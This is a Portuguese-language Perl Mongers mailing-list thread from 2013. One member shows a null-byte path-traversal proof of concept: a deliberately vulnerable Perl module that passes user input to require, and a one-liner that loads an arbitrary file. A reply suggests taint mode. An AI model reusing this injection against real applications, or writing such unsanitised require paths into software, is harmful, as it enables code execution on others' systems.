[SP-pm] Perl e Null byte

Tiago Peczenyj tiago.peczenyj at gmail.com
Tue Jun 11 12:17:40 PDT 2013


teste em 'taint' mode :)


2013/6/11 Junior Moraes <junior at fvox.com.br>

> Hi.
>
> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
> dentro de um webservice que retorna as informações desejadas. Neste módulo,
> temos o método adExport() que recebe um parâmetro (que, no caso da
> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
> módulo.
> Fiquei brincando de manipular o path com esse parâmetro, mas a
> concatenação da string '.pm' dificultava as coisas. Porém, como na
> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
> ignorar isso com o bom e velho null byte[2].
>
> Escrevi um exemplo prático:
>
>
> $ pwd
> /home/fvox/poc
>
> $ cat Module.pm
> package Module;
>
> use common::sense;
> use Moo;
> use Carp;
>
> use vars qw(@ISA @EXPORT);
> @ISA = qw(Exporter);
> @EXPORT = qw(testing);
>
> sub testing {
>     my $plugin = shift;
>
>     my $module = 'Module/' . $plugin . '.pm';
>     eval { require $module; };
>     croak $@ if $@;
>
>     $module =~ s/\//::/g;
>     $module =~ s/\.pm$//gi;
>     my $obj = $module->new;
> }
>
> 1;
>
> $ cat inc.pl
> print "Null Byte injetado com sucesso! :)\n";
>
> $ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte injetado com sucesso! :)*
> Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at Module.pm line 21.
>
>
> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
> possível injetar um 'evil code' num código vulnerável sem muitos problemas.
> Suponho que também funcione na função open(), entre outros casos.
> Alguém já tinha brincado com isso antes? Hhauhauh
>
> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
> retardado e brincar com isso em 2013... :P
>
> [1] https://metacpan.org/module/AnyData
> [2] http://en.wikipedia.org/wiki/Null_character
>
> --
>
> ====================================
> Junior "fvox" Moraes
> Linux Reg. #557527
> junior[at]fvox[dot]com[dot]br
> fb[dot]com/juniorfvox
> twitter[dot]com/fvox
> ====================================
> =begin disclaimer
>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>  SaoPaulo-pm mailing list: SaoPaulo-pm at pm.org
>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
> =end disclaimer
>
>


-- 
Tiago B. Peczenyj
Linux User #405772

http://about.me/peczenyj
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130611/aa1bf2db/attachment.html>


More information about the SaoPaulo-pm mailing list